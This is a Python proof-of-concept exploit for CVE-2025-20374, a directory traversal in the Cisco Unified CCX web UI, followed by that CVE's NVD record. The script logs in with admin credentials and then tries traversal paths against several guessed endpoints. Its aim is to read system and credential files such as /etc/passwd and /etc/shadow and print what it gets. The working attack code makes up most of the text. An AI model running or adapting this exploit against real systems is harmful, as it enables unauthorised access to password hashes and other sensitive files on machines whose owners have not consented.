CVE-2025-20374

import requests import urllib.parse # CVE-2025-20374 PoC - Cisco Unified CCX Directory Traversal # Authentication required - replace with valid admin credentials TARGET_URL = "https://<target-ip>/ccx-webui" USERNAME = "admin" PASSWORD = "password" # File paths to attempt to read via directory traversal TARGET_FILES = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../etc/hosts", "../../../..//var/log/messages", "../../../../etc/cups/printers.conf" ] def exploit_directory_traversal(session, filepath): """ Attempts to read arbitrary file via directory traversal filepath: Path to file using traversal sequences """ encoded_path = urllib.parse.quote(filepath) # Try multiple traversal patterns traversal_patterns = [ f"/ccx-webui/v2/files?path={encoded_path}", f"/ccx-webui/api/download?filename={encoded_path}", f"/ccx-webui/admin/logs/view?file={encoded_path}" ] for pattern in traversal_patterns: try: response = session.get(TARGET_URL + pattern, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[SUCCESS] File read via pattern: {pattern}") print(f"Content preview:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False def main(): session = requests.Session() # Login to obtain authenticated session login_data = {"username": USERNAME, "password": PASSWORD} login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[ERROR] Authentication failed") return print("[INFO] Authentication successful") # Attempt to read sensitive files for file_path in TARGET_FILES: print(f"\n[INFO] Attempting to read: {file_path}") exploit_directory_traversal(session, file_path) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-20374", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:38.457", "lastModified": "2025-11-17T19:40:48.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Unified CCX could allow an authenticated, remote attacker to perform a directory traversal and access arbitrary resources.\r\n\r\nThis vulnerability is due to an insufficient input validation associated to specific UI features. An attacker could exploit this vulnerability by sending a crafted request to the web UI. A successful exploit could allow the attacker to gain read access to arbitrary files on the underlying operating system.&nbsp;To exploit this vulnerability, the attacker must have valid administrative credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.5\\(1\\)_su03_es07", "matchCriteriaId": "6EF18C21-6E70-4748-99FA-884754F44D1A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "124C88AE-ED0C-4CBC-A84D-200EDB776C8C"}]}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-mult-vuln-gK4TFXSn", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}